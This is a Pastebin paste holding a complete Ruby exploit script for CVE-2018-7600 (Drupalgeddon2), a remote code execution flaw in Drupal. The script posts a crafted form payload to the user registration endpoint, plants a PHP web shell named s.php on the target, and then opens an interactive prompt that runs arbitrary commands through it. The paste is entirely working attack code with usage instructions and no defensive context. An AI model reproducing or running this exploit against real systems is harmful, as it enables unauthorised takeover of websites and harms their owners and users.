Kurobeats

Drupalgeddon2

Apr 17th, 2018
2,135
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 2.17 KB | None | 0 0
  1. #!/usr/bin/env ruby
  2. #
  3. # CVE-2018-7600 | Drupal - Drupalgeddon2 RCE
  4. # Hans Topo  | @dreadlocked
  5. # g0tmi1k    | @g0tmi1k
  6. # KING SABRI | @KINGSABRI - just some enhancement
  7. #
  8. require 'base64'
  9. require 'json'
  10. require 'net/http'
  11. require 'openssl'
  12. require 'readline'
  13.  
  14. # Proxy information (nil to disable)
  15. proxy_addr = nil
  16. proxy_port = 8080
  17.  
  18. # Quick how to use
  19. if ARGV.empty?
  20.   puts "Usage: ruby cve-2018-7600_exploit.rb <target>"
  21.   puts "       ruby cve-2018-7600_exploit.rb https://example.com"
  22.   exit
  23. end
  24.  
  25. target  = ARGV[0]
  26.  
  27. # Banner
  28. puts "[*] --==[::#Drupalggedon2::]==--\n\n"
  29.  
  30. # Check input for protocol
  31. if not target.start_with?('http')
  32.   target = "http://" + target
  33. end
  34.  
  35. # Check input for the end
  36. if not target.end_with?('/')
  37.   target += "/"
  38. end
  39.  
  40. # Payload
  41. evil = '<?php system($_GET["c"]); ?>'
  42. evil = "echo " + Base64.encode64(evil).strip + " | base64 -d | tee s.php"
  43.  
  44. # PHP function to use
  45. phpmethod = 'exec'
  46.  
  47. # mail & post_render
  48. url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
  49. # Vulnerable Parameters: access_callback / lazy_builder  / pre_render/ post_render
  50. payload = "form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=" + phpmethod + "&mail[a][#type]=markup&mail[a][#markup]=" + evil
  51. uri = URI(url)
  52. http = Net::HTTP.new(uri.host, uri.port, proxy_addr, proxy_port)
  53.  
  54. # Use SSL/TLS if needed
  55. if uri.scheme == 'https'
  56.   http.use_ssl = true
  57.   http.verify_mode = OpenSSL::SSL::VERIFY_NONE
  58. end
  59.  
  60. # Make the request
  61. req = Net::HTTP::Post.new(uri.request_uri)
  62. req.body = payload
  63.  
  64. # Check response
  65. response = http.request(req)
  66. if response.code == "200"
  67.   puts "[+] Target seems to be exploitable! w00hooOO!"
  68.   puts "[+] PHP shell: #{target}s.php?c=CMD "
  69.   puts "[+] Type your commands (exit to exit) and press Enter!"
  70.   trap('INT', 'SIG_IGN')
  71.   loop do
  72.     command = Readline.readline('Drupalgeddon2-> ', true)
  73.     next if command.empty?
  74.     exit! if command =~ /exit/
  75.     exploit_uri = URI(target + "s.php?c=#{command}")
  76.     puts Net::HTTP.get_response(exploit_uri).body
  77.   end
  78.  
  79. else
  80.   puts "[!] Target does NOT seem to be exploitable ~ Response: " + response.code
  81. end
Advertisement
Add Comment
Please, Sign In to add comment